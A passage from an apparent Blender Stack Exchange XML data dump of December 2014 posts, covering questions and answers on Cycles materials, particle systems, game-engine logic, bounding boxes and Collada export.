5&#xA;&#xA;            scoreDisplay['Text'] = str(GameScore)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paste this into a textblock and end the blocks name with &lt;code&gt;.py&lt;/code&gt; you then use a python controller, set to module and enter the textblock name without the py extension followed by the function name like &lt;code&gt;sample.ChangeScore&lt;/code&gt;. You will see the &quot;init once here&quot; will only get printed once when the module is first run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/obXzD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-30T08:48:17.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21530" PostTypeId="1" CreationDate="2014-12-30T09:08:26.547" Score="1" ViewCount="664" Body="&lt;p&gt;Here's my problem :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a triangle mesh in .PLY file.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this .PLY file I have a description for edges :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;element edge N&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;property int vertex1&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;property int vertex2&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;property uchar red&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;property uchar green&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;property uchar blue&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to observe the color of the edges. Actually, there will be just one color to tag some of the edges of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible with Blender or MeshLab ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9725" LastActivityDate="2015-01-30T12:18:05.903" Title="Visualize some edges of a mesh with Blender (or MeshLab)" Tags="&lt;edges&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21531" PostTypeId="1" AcceptedAnswerId="33817" CreationDate="2014-12-30T09:23:49.103" Score="0" ViewCount="870" Body="&lt;p&gt;I am implementing a visibility problem between a point and the sun, which I have described in my previous &lt;a href=&quot;https://blender.stackexchange.com/questions/21313/using-blender-to-investigate-the-cast-of-shadows-from-an-object-onto-a-specific&quot;&gt;question&lt;/a&gt;. I am using the function &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_63_8/mathutils.geometry.html?highlight=intersect_ray_tri#mathutils.geometry.intersect_ray_tri&quot; rel=&quot;nofollow noreferrer&quot;&gt;mathutils.geometry.intersect_ray_tri()&lt;/a&gt; to test if there is an object between the point and the sun. However, these objects that are potential obstructions have many triangles (which are iterated and the function is run for each), so to speed up the computations I need to create a bounding box for each object, and test it first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found some solutions, for instance &lt;a href=&quot;https://blender.stackexchange.com/a/14071/9630&quot;&gt;this one&lt;/a&gt;, which involves creating the basic cube at the origin with the edge length of 2, and then translating it, rotating it and rescaling it with the following functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bound_box.dimensions = obj.dimensions&#xA;bound_box.location = obj.location&#xA;bound_box.rotation_euler = obj.rotation_euler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The box perfectly encompasses the object, but the problem is that its dimensions are not &lt;em&gt;native&lt;/em&gt; because the cube is deformed into a cuboid to fit the object, so the function &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_63_8/mathutils.geometry.html?highlight=intersect_ray_tri#mathutils.geometry.intersect_ray_tri&quot; rel=&quot;nofollow noreferrer&quot;&gt;mathutils.geometry.intersect_ray_tri()&lt;/a&gt; still considers it to be a cube at the origin with the dimensions (2,2,2), and the results are very wrong (or I am doing something wrong in the process).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other solutions seem to be similar, and the mathutils intersection function doesn't work. Is there a way to create a cuboid that serves as a minimum bounding box, and that it'd work in such analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps another solution would be to fix the above described &lt;em&gt;distorted&lt;/em&gt; cube, so that it works in &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_63_8/mathutils.geometry.html?highlight=intersect_ray_tri#mathutils.geometry.intersect_ray_tri&quot; rel=&quot;nofollow noreferrer&quot;&gt;mathutils.geometry.intersect_ray_tri()&lt;/a&gt; but I don't know how to do that.&lt;/p&gt;&#xA;" OwnerUserId="9630" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-07-11T19:19:00.497" Title="Construct a cuboid as a minimum bounding box with native dimensions that work in a mathutils analysis" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21533" PostTypeId="1" AcceptedAnswerId="21535" CreationDate="2014-12-30T12:31:31.870" Score="9" ViewCount="28652" Body="&lt;p&gt;Is there any way to make a totally white shadeless material in Blender Cycles? I need to render something as a silhouette being totally white and the background (the background isn't an image or geometry, is just non-existent) completely black.&lt;br&gt;&#xA;Or make the geometry totally white with not shadows or lights at all, and the background totally black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that in Blender Render you can simply make a Shadeless object texture by pressing the button with the same name and reducing the reflection of the same geometry.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-01-13T15:29:32.527" LastActivityDate="2015-01-13T16:01:04.397" Title="Totally white shadeless material in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ClosedDate="2014-12-30T18:34:05.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="21534" PostTypeId="2" ParentId="21533" CreationDate="2014-12-30T12:45:04.567" Score="-1" Body="&lt;p&gt;Already fixed it! i just created a new material directly in the node editor of cycles, then erased the first box and replaced it for 'Emission' and it worked! pretty easy if you need a quick solution :)&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2014-12-30T12:45:04.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21535" PostTypeId="2" ParentId="21533" CreationDate="2014-12-30T12:48:04.563" Score="27" Body="&lt;p&gt;Here is a node setup for a shadeless material:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NCRub.png&quot; alt=&quot;Nodes for answer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use just an emission shader the object produces light.  So it still is not shadeless as it is casting light on other objects. To make it shadeless, you must make sure it sends light only to the camera. To do this, add &lt;em&gt;mix shader&lt;/em&gt; with the emission shader plugged in the bottom node socket. Leave the mix shader's top node socket empty (or plug in a &lt;em&gt;holdout shader&lt;/em&gt; if the empty socket bothers you). Then plug the &lt;em&gt;is camera ray&lt;/em&gt; from a &lt;em&gt;light path&lt;/em&gt; input node into the &lt;em&gt;factor&lt;/em&gt; of the mix shader.&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="5705" LastEditDate="2015-01-13T16:01:04.397" LastActivityDate="2015-01-13T16:01:04.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21536" PostTypeId="2" ParentId="21360" CreationDate="2014-12-30T12:55:25.473" Score="3" Body="&lt;p&gt;I did not look at .blend file, but I will explain Loop in parents. It means, so you are trying to make infinite loop of parents(which would cause .blend to crash imediately, so Blender has blocked it). So, if you have set your character as Parent of your Bones, you can't set bones as paernt to your character, otherwise, the parentation principal will be infinite loop. YOu can try selecting Bones and doing ALT + P and than Click with LMB on Clear Parent. Than do the same with char(optional). After that parent char to Bones. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2014-12-30T12:55:25.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21537" PostTypeId="1" AcceptedAnswerId="21580" CreationDate="2014-12-30T13:08:20.607" Score="7" ViewCount="1426" Body="&lt;p&gt;I made two objects and a controler using Keyed particles on Blender Cycles, and it works fine, because i wanted to make the particles going into another object so i don't want to change this.&#xA;What i want to know (and need) is to put a force field (for example a Curve Guide) between them to make a distortion on the ''Line'' of particles made by the keyed items, because it's still to static.&#xA;How can i activate it? Since i already added a force field, isn't working for me..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&#xA;Thanks in regard :)&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2014-12-31T14:49:04.687" Title="How can i put a Force Field between two items for Keyed particles?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21539" PostTypeId="1" AcceptedAnswerId="21550" CreationDate="2014-12-30T16:22:43.927" Score="4" ViewCount="673" Body="&lt;p&gt;In the blender game engine, how do I make an animal change it's condition from walking to attacking when it sees the player?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="2217" LastEditDate="2014-12-30T20:48:04.827" LastActivityDate="2018-08-19T04:06:56.997" Title="BGE: How can I make a hostile animal artificial intelligence?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21540" PostTypeId="1" CreationDate="2014-12-30T17:07:53.933" Score="0" ViewCount="173" Body="&lt;p&gt;i created a particle system and the movement works great, also along the time (470 frames at 60fps) works great too BUT the only little thing that is still wrong is the time of the particles dissapearing, is still too fast and it looks bad..&#xA;Is there any way to change this? (when the particles appear, and dissapear?)&#xA;I'm starting to work with particles, so i'm really new on this but also i'm really interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&#xA;Thanks in regards.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-29T18:09:24.847" Title="Change speed between particles appearing/dissapearing?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21541" PostTypeId="2" ParentId="21540" CreationDate="2014-12-30T17:25:49.193" Score="1" Body="&lt;p&gt;Increase the Random property under lifetime. This controls the pseudo-random lifetimes per particle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AnWNV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-30T17:25:49.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21542" PostTypeId="2" ParentId="21533" CreationDate="2014-12-30T17:27:52.370" Score="2" Body="&lt;p&gt;Another solution would be to assign a Holdout material to the object, as well as assign the material a unique Pass Index. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the compositor you can grab the mask from the Pass Index and mix the white via the mask and an Alpha Over node. The holdout is good as it doesn't add colour bounces to the scene via indirect lighting. The object still does cast a shadow though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I7FpX.jpg&quot; alt=&quot;Screenshot of setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2014-12-30T17:27:52.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21543" PostTypeId="1" CreationDate="2014-12-30T17:37:34.093" Score="0" ViewCount="110" Body="&lt;p&gt;This is the first time I'm utilizing the NLA-editor into my animation workflow and I'm having some trouble: it seems like my character is moving in a slightly different manner on every render. I have saved the exact same file on two computers and the other one rendered frames 1-99 and the other one 100-200. When I combine these two animations, there is a jump in the characters position. My feeling is that this is somehow related to playing back the animation first before rendering it, but I'm not sure if that makes sense. Or could this have something to do with &quot;hold&quot; vs. &quot;hold forwards&quot; settings? I have a messy NLA with lot's of different strips and I'm very new to it all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing my two renders to behave differently?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2015-02-28T17:59:56.120" Title="NLA animation changes on every render" Tags="&lt;nla-editor&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21544" PostTypeId="1" AcceptedAnswerId="21569" CreationDate="2014-12-30T18:00:10.117" Score="0" ViewCount="328" Body="&lt;p&gt;I'm using particles to create letters (on Cycles), but there's a little problem: I have 15 separate letters, that are geometry, every single one have two particle system, so with those I have 30 layers already (I didn't have created every single one for now) plus the light layers and another important objects..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is Blender is only able to keep 20 layers but I'll need at least 40 layers, so I can properly put everything on its place. Maybe I can just open two files and it'll be the solution but still there's the problem that I need to render 15 renders (because after that I'll change the duration of each one in After Effects) and 15 more because I need the render with different textures...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it's a big problem now, I may be able to solve it with two separate files, but how do I render more than just one item? I mean, can I make a render queue attached to a layer in Blender? If not, I'll just have to manually modify the 15 particles with different speeds and timing...&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="6204" LastEditDate="2014-12-31T03:08:25.630" LastActivityDate="2014-12-31T13:44:56.753" Title="Render queue, more layers?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21545" PostTypeId="1" CreationDate="2014-12-30T18:15:39.613" Score="1" ViewCount="2279" Body="&lt;p&gt;I'd like to create some game assets that need to be exported in the Collada file format. I want to be able to create diffuse, normal and specular maps on my models and then export them to a single .dae file. Unfortunately, if I put multiple maps onto a single material, the Collada exporter does weird things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I put both a diffuse and a normal texture on a model, the collada exporter only exports the normal map (but connects it to the diffuse channel for some reason). I'm trying to figure out a way to configure my materials/images so that the diffuse map is exported in the diffuse channel, the normal map is in the normal channel, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone found a good way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;https://drive.google.com/file/d/0B65Z2rSspR06eEFHSmVJNFNZc2M/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;blender scene&lt;/a&gt; that I've been using to test the exporter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;COLLADA xmlns=&quot;http://www.collada.org/2005/11/COLLADASchema&quot; version=&quot;1.4.1&quot;&amp;gt;&#xA;  &amp;lt;asset&amp;gt;&#xA;    &amp;lt;contributor&amp;gt;&#xA;      &amp;lt;author&amp;gt;Blender User&amp;lt;/author&amp;gt;&#xA;      &amp;lt;authoring_tool&amp;gt;Blender 2.72.0 commit date:2014-10-21, commit time:11:38, hash:9e963ae&amp;lt;/authoring_tool&amp;gt;&#xA;    &amp;lt;/contributor&amp;gt;&#xA;    &amp;lt;created&amp;gt;2014-12-30T15:05:37&amp;lt;/created&amp;gt;&#xA;    &amp;lt;modified&amp;gt;2014-12-30T15:05:37&amp;lt;/modified&amp;gt;&#xA;    &amp;lt;unit name=&quot;meter&quot; meter=&quot;1&quot;/&amp;gt;&#xA;    &amp;lt;up_axis&amp;gt;Z_UP&amp;lt;/up_axis&amp;gt;&#xA;  &amp;lt;/asset&amp;gt;&#xA;  &amp;lt;library_images&amp;gt;&#xA;    &amp;lt;image id=&quot;PresentBump&quot; name=&quot;PresentBump&quot;&amp;gt;&#xA;      &amp;lt;init_from&amp;gt;PresentBump.png&amp;lt;/init_from&amp;gt;&#xA;    &amp;lt;/image&amp;gt;&#xA;  &amp;lt;/library_images&amp;gt;&#xA;  &amp;lt;library_effects&amp;gt;&#xA;    &amp;lt;effect id=&quot;PresentMat-effect&quot;&amp;gt;&#xA;      &amp;lt;profile_COMMON&amp;gt;&#xA;        &amp;lt;newparam sid=&quot;PresentBump-surface&quot;&amp;gt;&#xA;          &amp;lt;surface type=&quot;2D&quot;&amp;gt;&#xA;            &amp;lt;init_from&amp;gt;PresentBump&amp;lt;/init_from&amp;gt;&#xA;          &amp;lt;/surface&amp;gt;&#xA;        &amp;lt;/newparam&amp;gt;&#xA;        &amp;lt;newparam sid=&quot;PresentBump-sampler&quot;&amp;gt;&#xA;          &amp;lt;sampler2D&amp;gt;&#xA;            &amp;lt;source&amp;gt;PresentBump-surface&amp;lt;/source&amp;gt;&#xA;          &amp;lt;/sampler2D&amp;gt;&#xA;        &amp;lt;/newparam&amp;gt;&#xA;        &amp;lt;technique sid=&quot;common&quot;&amp;gt;&#xA;          &amp;lt;phong&amp;gt;&#xA;            &amp;lt;emission&amp;gt;&#xA;              &amp;lt;color sid=&quot;emission&quot;&amp;gt;0 0 0 1&amp;lt;/color&amp;gt;&#xA;            &amp;lt;/emission&amp;gt;&#xA;            &amp;lt;ambient&amp;gt;&#xA;              &amp;lt;color sid=&quot;ambient&quot;&amp;gt;0 0 0 1&amp;lt;/color&amp;gt;&#xA;            &amp;lt;/ambient&amp;gt;&#xA;            &amp;lt;diffuse&amp;gt;&#xA;              &amp;lt;texture texture=&quot;PresentBump-sampler&quot; texcoord=&quot;UVMap&quot;/&amp;gt;&#xA;            &amp;lt;/diffuse&amp;gt;&#xA;            &amp;lt;specular&amp;gt;&#xA;              &amp;lt;color sid=&quot;specular&quot;&amp;gt;0.5 0.5 0.5 1&amp;lt;/color&amp;gt;&#xA;            &amp;lt;/specular&amp;gt;&#xA;            &amp;lt;shininess&amp;gt;&#xA;              &amp;lt;float sid=&quot;shininess&quot;&amp;gt;50&amp;lt;/float&amp;gt;&#xA;            &amp;lt;/shininess&amp;gt;&#xA;            &amp;lt;index_of_refraction&amp;gt;&#xA;              &amp;lt;float sid=&quot;index_of_refraction&quot;&amp;gt;1&amp;lt;/float&amp;gt;&#xA;            &amp;lt;/index_of_refraction&amp;gt;&#xA;          &amp;lt;/phong&amp;gt;&#xA;        &amp;lt;/technique&amp;gt;&#xA;      &amp;lt;/profile_COMMON&amp;gt;&#xA;    &amp;lt;/effect&amp;gt;&#xA;  &amp;lt;/library_effects&amp;gt;&#xA;  &amp;lt;library_materials&amp;gt;&#xA;    &amp;lt;material id=&quot;PresentMat-material&quot; name=&quot;PresentMat&quot;&amp;gt;&#xA;      &amp;lt;instance_effect url=&quot;#PresentMat-effect&quot;/&amp;gt;&#xA;    &amp;lt;/material&amp;gt;&#xA;  &amp;lt;/library_materials&amp;gt;&#xA;  &amp;lt;library_geometries&amp;gt;&#xA;    &amp;lt;geometry id=&quot;Cube-mesh&quot; name=&quot;Cube&quot;&amp;gt;&#xA;      &amp;lt;mesh&amp;gt;&#xA;        &amp;lt;source id=&quot;Cube-mesh-positions&quot;&amp;gt;&#xA;          &amp;lt;float_array id=&quot;Cube-mesh-positions-array&quot; count=&quot;24&quot;&amp;gt;1 1 -1 1 -1 -1 -1 -0.9999998 -1 -0.9999997 1 -1 1 0.9999995 1 0.9999994 -1.000001 1 -1 -0.9999997 1 -1 1 1&amp;lt;/float_array&amp;gt;&#xA;          &amp;lt;technique_common&amp;gt;&#xA;            &amp;lt;accessor source=&quot;#Cube-mesh-positions-array&quot; count=&quot;8&quot; stride=&quot;3&quot;&amp;gt;&#xA;              &amp;lt;param name=&quot;X&quot; type=&quot;float&quot;/&amp;gt;&#xA;              &amp;lt;param name=&quot;Y&quot; type=&quot;float&quot;/&amp;gt;&#xA;              &amp;lt;param name=&quot;Z&quot; type=&quot;float&quot;/&amp;gt;&#xA;            &amp;lt;/accessor&amp;gt;&#xA;          &amp;lt;/technique_common&amp;gt;&#xA;        &amp;lt;/source&amp;gt;&#xA;        &amp;lt;source id=&quot;Cube-mesh-normals&quot;&amp;gt;&#xA;          &amp;lt;float_array id=&quot;Cube-mesh-normals-array&quot; count=&quot;36&quot;&amp;gt;0 0 -1 0 0 1 1 -5.66244e-7 3.27825e-7 -4.76837e-7 -1 0 -1 2.08616e-7 -1.19209e-7 2.08616e-7 1 2.38419e-7 0 0 -1 0 0 1 1 0 -2.38419e-7 0 -1 -2.98023e-7 -1 2.38419e-7 -1.49012e-7 2.68221e-7 1 1.78814e-7&amp;lt;/float_array&amp;gt;&#xA;          &amp;lt;technique_common&amp;gt;&#xA;            &amp;lt;accessor source=&quot;#Cube-mesh-normals-array&quot; count=&quot;12&quot; stride=&quot;3&quot;&amp;gt;&#xA;              &amp;lt;param name=&quot;X&quot; type=&quot;float&quot;/&amp;gt;&#xA;              &amp;lt;param name=&quot;Y&quot; type=&quot;float&quot;/&amp;gt;&#xA;              &amp;lt;param name=&quot;Z&quot; type=&quot;float&quot;/&amp;gt;&#xA;            &amp;lt;/accessor&amp;gt;&#xA;          &amp;lt;/technique_common&amp;gt;&#xA;        &amp;lt;/source&amp;gt;&#xA;        &amp;lt;source id=&quot;Cube-mesh-map&quot;&amp;gt;&#xA;          &amp;lt;float_array id=&quot;Cube-mesh-map-array&quot; count=&quot;72&quot;&amp;gt;0.4999998 0.4999998 0.5 0.7499566 0.2500432 0.7499566 0.2500431 0.2500433 0.250043 8.67365e-5 0.4999996 8.65875e-5 0.7499566 0.4999998 0.7499567 0.7499566 0.5 0.7499566 0.5 0.9999132 0.2500433 0.9999134 0.2500432 0.7499566 0.2500432 0.7499566 8.65875e-5 0.7499566 8.65875e-5 0.5 0.4999998 0.2500432 0.4999998 0.4999998 0.2500432 0.5 0.2500432 0.5 0.4999998 0.4999998 0.2500432 0.7499566 0.4999998 0.2500432 0.2500431 0.2500433 0.4999996 8.65875e-5 0.4999998 0.4999998 0.7499566 0.4999998 0.5 0.7499566 0.5 0.7499566 0.5 0.9999132 0.2500432 0.7499566 0.2500432 0.5 0.2500432 0.7499566 8.65875e-5 0.5 0.2500431 0.2500433 0.4999998 0.2500432 0.2500432 0.5&amp;lt;/float_array&amp;gt;&#xA;          &amp;lt;technique_common&amp;gt;&#xA;            &amp;lt;accessor source=&quot;#Cube-mesh-map-array&quot; count=&quot;36&quot; stride=&quot;2&quot;&amp;gt;&#xA;              &amp;lt;param name=&quot;S&quot; type=&quot;float&quot;/&amp;gt;&#xA;              &amp;lt;param name=&quot;T&quot; type=&quot;float&quot;/&amp;gt;&#xA;            &amp;lt;/accessor&amp;gt;&#xA;          &amp;lt;/technique_common&amp;gt;&#xA;        &amp;lt;/source&amp;gt;&#xA;        &amp;lt;vertices id=&quot;Cube-mesh-vertices&quot;&amp;gt;&#xA;          &amp;lt;input semantic=&quot;POSITION&quot; source=&quot;#Cube-mesh-positions&quot;/&amp;gt;&#xA;        &amp;lt;/vertices&amp;gt;&#xA;        &amp;lt;polylist material=&quot;PresentMat-material&quot; count=&quot;12&quot;&amp;gt;&#xA;          &amp;lt;input semantic=&quot;VERTEX&quot; source=&quot;#Cube-mesh-vertices&quot; offset=&quot;0&quot;/&amp;gt;&#xA;          &amp;lt;input semantic=&quot;NORMAL&quot; source=&quot;#Cube-mesh-normals&quot; offset=&quot;1&quot;/&amp;gt;&#xA;          &amp;lt;input semantic=&quot;TEXCOORD&quot; source=&quot;#Cube-mesh-map&quot; offset=&quot;2&quot; set=&quot;0&quot;/&amp;gt;&#xA;          &amp;lt;vcount&amp;gt;3 3 3 3 3 3 3 3 3 3 3 3 &amp;lt;/vcount&amp;gt;&#xA;          &amp;lt;p&amp;gt;0 0 0 1 0 1 2 0 2 7 1 3 6 1 4 5 1 5 4 2 6 5 2 7 1 2 8 5 3 9 6 3 10 2 3 11 2 4 12 6 4 13 7 4 14 4 5 15 0 5 16 3 5 17 3 6 18 0 6 19 2 6 20 4 7 21 7 7 22 5 7 23 0 8 24 4 8 25 1 8 26 1 9 27 5 9 28 2 9 29 3 10 30 2 10 31 7 10 32 7 11 33 4 11 34 3 11 35&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/polylist&amp;gt;&#xA;      &amp;lt;/mesh&amp;gt;&#xA;    &amp;lt;/geometry&amp;gt;&#xA;  &amp;lt;/library_geometries&amp;gt;&#xA;  &amp;lt;library_visual_scenes&amp;gt;&#xA;    &amp;lt;visual_scene id=&quot;Scene&quot; name=&quot;Scene&quot;&amp;gt;&#xA;      &amp;lt;node id=&quot;Cube&quot; name=&quot;Cube&quot; type=&quot;NODE&quot;&amp;gt;&#xA;        &amp;lt;matrix sid=&quot;transform&quot;&amp;gt;1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1&amp;lt;/matrix&amp;gt;&#xA;        &amp;lt;instance_geometry url=&quot;#Cube-mesh&quot;&amp;gt;&#xA;          &amp;lt;bind_material&amp;gt;&#xA;            &amp;lt;technique_common&amp;gt;&#xA;              &amp;lt;instance_material symbol=&quot;PresentMat-material&quot; target=&quot;#PresentMat-material&quot;&amp;gt;&#xA;                &amp;lt;bind_vertex_input semantic=&quot;UVMap&quot; input_semantic=&quot;TEXCOORD&quot; input_set=&quot;0&quot;/&amp;gt;&#xA;              &amp;lt;/instance_material&amp;gt;&#xA;            &amp;lt;/technique_common&amp;gt;&#xA;          &amp;lt;/bind_material&amp;gt;&#xA;        &amp;lt;/instance_geometry&amp;gt;&#xA;      &amp;lt;/node&amp;gt;&#xA;    &amp;lt;/visual_scene&amp;gt;&#xA;  &amp;lt;/library_visual_scenes&amp;gt;&#xA;  &amp;lt;scene&amp;gt;&#xA;    &amp;lt;instance_visual_scene url=&quot;#Scene&quot;/&amp;gt;&#xA;  &amp;lt;/scene&amp;gt;&#xA;&amp;lt;/COLLADA&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9732" LastEditorUserId="9732" LastEditDate="2014-12-30T20:18:34.717" LastActivityDate="2015-11-24T04:51:17.893" Title="Setting up materials for export to Collada" Tags="&lt;export&gt;&lt;shaders&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21546" PostTypeId="2" ParentId="21544" CreationDate="2014-12-30T18:17:09.840" Score="1" Body="&lt;p&gt;Can you not assign different materials to the different particle systems (Mat 1 and Mat 2) each with a Pass ID, and then assign an Object ID (Letter A, Letter B, etc) to each geometry mesh, and then do one render and separate everything in Compositing? You could then pipe each combination into a File Output node OR you could render to MultiLayer EXR frame files and handle the layer separations in After Effects.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2014-12-30T18:17:09.840" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21547" PostTypeId="1" AcceptedAnswerId="21548" CreationDate="2014-12-30T19:52:45.467" Score="6" ViewCount="7735" Body="&lt;p&gt;I created a particle system, duplicating a red sphere. However I want to also have yellow and orange spheres (already have them in another layer) in the same particle system. So I want to know how to use this particle system that I've created to show all three kinds of geometry/objects.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="6204" LastEditDate="2014-12-30T20:05:32.837" LastActivityDate="2014-12-30T21:58:26.713" Title="How to use multiple particle types in a particle system?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;&lt;groups&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21548" PostTypeId="2" ParentId="21547" CreationDate="2014-12-30T20:03:17.400" Score="15" Body="&lt;p&gt;You will first need to select the objects you want to use, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; to create a group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use the &lt;em&gt;Groups&lt;/em&gt; setting under &lt;em&gt;Particle Systems &gt; Render&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e9cyC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, select the &lt;code&gt;Group&lt;/code&gt; render type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3aMd7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the group you want to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GkWkS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6385" LastEditDate="2014-12-30T20:11:30.917" LastActivityDate="2014-12-30T20:11:30.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
